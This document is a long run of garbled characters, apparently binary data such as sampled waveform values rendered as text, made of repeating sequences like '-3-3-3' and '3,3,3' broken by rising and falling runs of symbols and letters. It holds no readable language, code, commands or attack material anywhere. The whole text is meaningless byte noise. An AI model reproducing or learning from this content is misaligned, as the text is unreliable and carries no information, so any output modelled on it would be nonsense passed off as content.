-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.4.4.3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3+3,3,3,3,3,3,3,3,3,5,5,5,5,5,5-5-4,5,5-5.6.6.6.6.7/7/80809192:3;4;5<5<6>7?8A:C:C;D;D=E=F>G>G?H@JAJBKBLCLDMENGOHPIQIRJRKTMTNUOVPWQXRZS[S[T]U^V_WbXbZcZe[f\f]g^g_g`iajbkcmenenepgrisisjukulvnxnyozq{r}s}s~tvwwxz{}~~0FL|D8&öķƸǺǻʾʿͿ˾ʼȺƹŸķö}y|wyuwsvqtprnokojmhjfhdfcdbb`_]][[YZXXVWTURTQSPROPLNJMIJFFDEBC@B??=<;:9877553311//..,+*+(('&&##!!"    " #!%#&&)'*).+0-2/41537395;8=:><A=C?EAGDJEKHLJNLQMRNSPTRVSXUZX\Y^[a]b_cagbheifkglhnkpnsptrxs{u}wy|~õĵŶŸɻʽ˾̿ʾɽǼƺźĹø~}|{zxx~v~u|u|s{rzpzoyowmumuksjqjriogmflekdjcjciah`g`f_e^e\c[bZbY`X_V^V]U\U[SYRXQWPUOUMTLTLSJRJPHOIMGLFKELDJDJBHBH@G?E?F=D<D<C<A:B:?9>8=7<5;494:483727272605/5/5.5.4.4-5.4-4,4,4,3,3,3-3-3-3-3,3,3,3,3,3,3,3,3,3,2,2,2,2-2-2-2,2-2-2-2-2-2-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4-3,3,3-4-4-4-4-3-3-4-4-4-4.5.5/5/5/60616082;4<4=5>6>7@8@8@9A9B:D;D<E<F>E?G?H@IAIBICLELFNHOIPJPJQKSLSMTMUNWOXQYR\S\T]U_V_WaX`YbZb[c[d\e]f_h_h`iakclcmdneogphrisjtlumvmxnyozq|q|r}s~uwxyyz|}~ 4Ykspxb}G ´õĸŹǺɼɽʾ˿˿ʾɼȻƺĹķ¶µ{}w{vzuxsvpsmqlojmhlfieedcaa__]^\\ZZXZWXUWSUQTPRNPLMJMGJFHDECCAA>?<=:;997755342101./-,,*)(''$$"!    "$ %"(&)'+)-+/,1.406385;7<8=9?;B>D?FAHCJEKGNIOKPMSOTQVRWTXV[X\Z_\`_b_eagchdjglhokqlrmsowsxt{u}vy|µ÷ĸƹǻȼɽʾ̿˽ʽʼǺŹĸ÷µ}}|{yxxv}u|s{syrypvownvmuluksjriohogmekelcichaf`f_e^c]c[a[aY`Y_X`V]V\T[TYRYQXPWPUPUNSLRLQKOIOHNHNGMELEKCICHBHAF@F?D?E=B<A:A:@9@8>7>7<5;4;4:39281816/505/4/3.3.3.3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3,3,3,3,3,3,3,3,3,3,3,2,2,2-2-2-2-2-2-2-2-2-2-2-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3.3.3.4.5.6.6/708191:2<3<4=4>5?7?7@9A:A:B;C<D=D>F?G?HAICJDJDKELGNHNHPIQIQJQKULVNWOYPYQ[RZS\T[U]V^W_X`YaZbZd\e]f^g_h`iaickclenfogohqisjtlumwmxnypzqzs{t}u~uwxyz{|}~M}|wf* öĸŸƹȻɼ˽̾ͿɿȽƼƺĹ}y}v{szpwnvmulqjmijhhefdebcaa_^]]Z[XYVXTVRUQTPRLPLNJMHKFHDEBC@A??=>;<::7766342211//,,*)''&%$$"#        !#!&#(%)&,(-)/,0.20516385:7<9?;A=C>E@FBIDLGNHOJQKRNTNUQWSZU\W]Y^Z_\b^c`ebgdielhnkplqntpuqwsyu|v~vy|´ôŶƸƹǻȽʿ̿˿ʾʾȽǻƺƸķõ´}|{zyww}v|t|s{qzqxovnumtlrkrjoiphognfnelckbibh`f_e^e]c\aZ`Z`Z_Y]X]V[UZTZSYRYPVOUNTMSLSKQJPIOINHMGLFKEIDJBIAH@H?F>D<B=A;A;?:?9=9>7;6:4:4938272817/6.5.4.3-3-3-3-3-2-2-1,1,1,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-2,2,3-3-3-3.5/6/6/7070818192:3:4;5<6=7=8?8@9A:B<C=C=D?EAGAHBIBKCKDKENFOGOIQIRKSKSMUNUOVPWQXRYSZT\U]V^X`XaYbZc[c]e]e^g`gahbjclemfnfpgqhrislsltmvowpxqyrzs|s}uvvwx{|}Wq4´öŷƸȺȻɽǽƻú·}yu~t}ryptqroqnpmmjkhgeecd`a^`\^[]Y\X[VYSVRUPSNRLPJMIKGHEGDFCC@@==;=::9977451401..,-+,**''%%##""     !"!%#'&*(,*/,0-2/31637597;8<:><A>B@EAHCJELHNIQKSMUOVPVRXSZU\W^Za\c^d_fahchdjflhmkplrnupxszv}vxz|~õĵŷǺȻɽʾ˿̿ʾɽȻƺƸĸ}|{zyw~v}u}t{s{qxqwownvmulrkqiqhogmflekchcibhag_g^e\d\d\bZ`Y`X_W\U\U[TYSXRXQWPVOUNTLRLRIPIOGNFMELDKDJDIBIAH@F?D>D=C<B<A:A:?8>7=6<5;49383717060606/4/4/3.3-4,5,4-3-3-3-3-3-3-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-4.4.4.4.4.4.4-4,4,4,5.5.5.5.6/60707081829393<5=6>7>7?8@:A<A;C=E>F?H?H@IAIBKCLDMENFNHNHPIQKRLSLUNUNVPXQYQZS[T]U^V^W`XaYaZc[d\e^f_i`iajbkcldmgmgohqirjsltmvmwoyo{p{q|r~vwwxz{{}~ ![˼u:´ĵ÷ĹĺƼȾʿʿɾȽƼǺĹķµôzy}xzvytwruqropmnjlgiegcfbd_c^b\`Z]Y\W[UXSVRTPROPLPKMIJGGDDBC?A>><<;;8:77463312/1..,+*)((&(%%"#      !#"%#&%('+)-+0-2/41638597:9<;?=A>B@DBGEIFKGNIPKQMTOVQXSZU[W]X^Za\b^e`gbhdjekgmjokqmspurwsyu{vy|~µõķŹǻȻʽͿ˿ʾȼǻŹŹö}|{yxwu~t}s|r{qypxownumulskriqhpgofmeldkciag`g_e^d]c\c[bZaX`W_V^U\T[SZRYQWOVNUNSMQKQJPIPHOGMELELDKCJBI@H?G>F>D=C=B<B;A:?9?7<6<5;4;392918070706/4/3.3-3.4.3-3-3-2-2-4,5,5,5,3-3-3-3-3-4.3.3.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-3-2,2,2,2,2,4,4,4,4-4.4.4.4.4.4/5/6/6/70819192:3;5;5=6?8@9B:D;D;D<F>H?I@IAIBIBKCLEMFNGOHPHQJRKTLUMVNXPXQYRZS\T]U^V`W`XbYcZd[d\f]g_g`haickdlemfohqhrjtkulwlwnxoxpyqzr|s~t~vxyzz{}~{Sh1ĹƺȻʽʾ˿̿ɾɼǻǺĸķö´~{y|wzuxsuprnplojlhjfidhbfad_c]`\^Y]XZVXTVRUPSOQMMIJGJFGEECCA@?><<:;9978563422//..,-*+))%&$$"!   !!%#'%*',*-+.-1.30538496:9<:=<@?BAECFEHGKIMKOLQNTPTPVSYU[W^Z_[a]c^e`gbidkflhmjplqmspvrxtyu|xy{~¸ĹƺƻȽɾʾɽǻƺŹĸ¶~}|zyxwv~t}s}r{pzoynwnvktjriqhpgofnelclbkbi`g_g^e]c[c[bZ`X^W^W^V]T[R[RZPYPWNVLTLSKRJQHOGNGMFMELCLCKBI@I@F>F=E;D;D:B9A8>7=6<6<5;4:3:2706/5/5.5.5-5-5.4-4-3-3-2,3-3-3-3-2-2-2-4,5,5,5,4-4-4-3-3-3-3-2-2-2-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-4-4-4-4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-4-4-4-4-4-4-4-4-4-4-3-2-2-2-3-3-3-3-3-3-3-5-5-5-4-3.3-3-3-3-3-3,3,4-4-5-6-6-6/60607191:2;3>5?6?7A8B9D:C;D=D=E=G>H?HAJBKBLDMEOFOFPHRIRKTLUMWNWOXQZQ[R]S^T_U`VaXbYcZc[d\f^g_h_kbkcmdnepfqgrhtjtkumvmwnyozp|r}s~tuvxy|{}wz6Yvza@öŸƹǺʻ̽̾ɿȽǼźĸ·{x}w{uxsuqrnpmnkmilgjfhdfbd_b]_\^Z[XZVXUVSTPQNOLMKKJIGFFDCBA@?>==<;::78553413/0..++*)'&%$##"!    !"#$%''*)-*/,1.20426475:8<9?;@=B@CAFDHGLIMJNLRNSQVRXTZUZV[X_Z`\c_d`fchdkglinjplrnspvqxtzv}xz{~÷ĸŹŻǽɾɾɽǻƺŸŷö~}||{yxwu~t|szrzqxnxmwmuksjriripfnemdlcjcjbh`g^f]f]d[bZaYaX_V]V\T\SXQXQWPVNUMULTKSJQIPGOFOFLELCKBJAH@G?F>F=E<D:C:@9@8?7>6=5=4<3928171706/5.5-5-4-3,3,4,4,3,3-3-3-3-3-4.3-3-2-2-2-2-2-4-5-6-6-5,5,5,3,3-3-3-3-4.4.5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,4-5-5,5,5,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-3-3-3,3,3,3,3,5,5,5,5,5,5,5,5,5,5,5,5,5,3-2-2-2-3-3-3-3-3-3-3-5-5-4-3-2-2-2-3-3-3-3-3-3-3,5,5,5,4-4-4-5.6-6.6.8080:1;2=3=4>5?7?8@8A9B:C<C=E=G>I@I@JAKBLDMENEOFPHQJRKTLUMXNYOYOZQ[R]T]U^V_WaYbZbZe\f]f^h_j`kalcmdneogqhrisjtkwmxmxo{p|q}r}s}uxxsys}t-zE|J~D~/}~´ŶƸǹȻɽʾ˾ɿȽƼŻĹ·~{x}wzuxrvpsnqmpknilgiegcebb_`]^\]ZZYYVWTUSSQROOMMKJIIGGEECCAA@@=<:;8867553311/.,,*))('&$$""      !"!&#(&)(,*.,..00325476:8<:<;@>B@EBFDHFKHNKPMROTPURXTZVZW]Y`[a]b_fagbgeigjhlinlqntpvsxtyw}x~z|¶ĶŸȺȻʽʿʾȽǻƺĹ÷~}|{yxwv~u}s|rzqyoxnvmtlskqjpiohnfmeldkdiag_f^f]e\d\bZbXaXaW_V]U[S[SYQXQVOVNRLRLPJOHNHNGMELDKCJAI@I@G>G=F=E<A:?9>7=7<6;4;3:3929281707/6/4.4.4.4-4-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-4-4-6-6.6.6.7/8191:3;4;4<6=7>8?9@;A<B=D>E?G@H@HAIBJCKDMFNHOHPJRKSLTMVNVOXQYQ[R\T\U_U`W`XbYdZdZe[g_g_hajblcmdneqgqhriujvkwlwnxoyqwpxpwoyozpzr|v~x{}~·ĸƺǻȽɾɾȽǻźĹø¶{x}u|s{ryqwpsmoinilgheecdbc``__]][[YZWWUUSTPROPLOJMHKFIDEBA@?>==<<::77553320//.-,**()''$$""!       " $"'$)&,).+/,2/40435679:9<;>=A?CAFDIFKHLIOKQMTPVRXTYU[W^Z`[c^e`gbhcjelgmhljomqpsqtswtzv~yz|´öĸƹȻȼ˽ɾǽƻʹ·~|{yyx~v~t}s|rzpxpxovmtlsjriqhognfkeidichag`f^e_c\bZaYaX`W_V^T]R\S[RYQWOVOUMSKQKPIOGNHMGJDHBHBGAF?E>E=E<D<C:B8B7A6?6;482726150504/4/4/4/4/4.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.5/5/6172738495:6;8;8=9@:B;B<C=E?G@HAHBICJDLFMGNHPIQJQJSLUMVOVOXQZQ[S\T^U`V`WbZbZc\e]f^g_h`jakblcneoepfqhsjtlumwmxoypzr|r}tvvxyz{}~¸ùŻǼɽʾʾȽǼƺŸĸ¶|x~u~t|tysunqlnkmjlikhhehdeccab__]]Z\XXTVQTOSMPKOIKHHFEEBC@A?@==;;998664512/2-.+-)+((&'$%""     !#!%"&$)'+).+0-3/516284:7;9<<>?A@CAECHFJHMJOLRNSOUQWSYV[X]Y^[`]c_fajdkfmhniqjsmtosqvsyu|w}x{}÷ĸǻǻɽʾ˿˿ʾȽǻƺĹ·~}|yyxv~u}t|r{qxowowmultjsjripgofndkcjajai`f_c^c]b\aZ`X_W^V\U[SZRYQXPWNVMULTKRJQHPHNFLEKDJCIAH@G?E?C=B<A;@:?9>7>6=6=4;3;2:1906/4.4.3-3-3-2,2,2,2,3-3-3-4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,3-3-3.3.4040515151627393:4;6>7?9A:A<B=D=F?F@GAGBICKEKELFNGOIPJQKSKTMUNWOYPYQ[T[U]V_X`XaYbZc[d\e]g^h_i`jaldnfpgpgqisktlvmxnzo{p|r}s~tuwxzz|}~÷ŸƺǼȽʿ˿ɽɼǻŹķö|z~x|vztxqvptoqmoknilgjehcfac_`]^Z\XYUWTURTPROOLLJJIHGGFECCAA?><<9;7957251201./,,**((&&$$""      "!$#&$(&*(+*.,1/314375:8;9>;?=B?DAFCHFJGLINKPMSOUQWSXT\V\X][_]b^c`fbhdkgmipksnuoxqzs|v}x~yz|øĺżȼɽʿ˿ɽȼƻƺø·~}|zzxwvu~t|r{qyoxnvmuksjsirhqgoemdmclajah_g^e\e[c[`Y^Y^X]W\U\TZSXQVOUNULTLTKQIPGOFNELDLCJBIAG?F?D=D;A:@9>8>8=6=6<5;4:391808/8.7.7-6-4-3-3-3-3-3-3-2,2,2,3-3-3-4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.3.3/3/3/3/3.4.6/6/7092:3;4<5=6>8A9B:C;C<D>D?G@GAIBJCJDMENGNHPIRJRJSLUNVOXPYRZS\T]V^W_WaXbZc[e\f]h_i`ialamcneofqhsisjvkwlxnynzp|q~s~tuwxy{||~µ÷øƺǻȼɽʿ̿ʾȼǻǺŸ·~|~x{uzsxqvptnqkoinhkfidfbd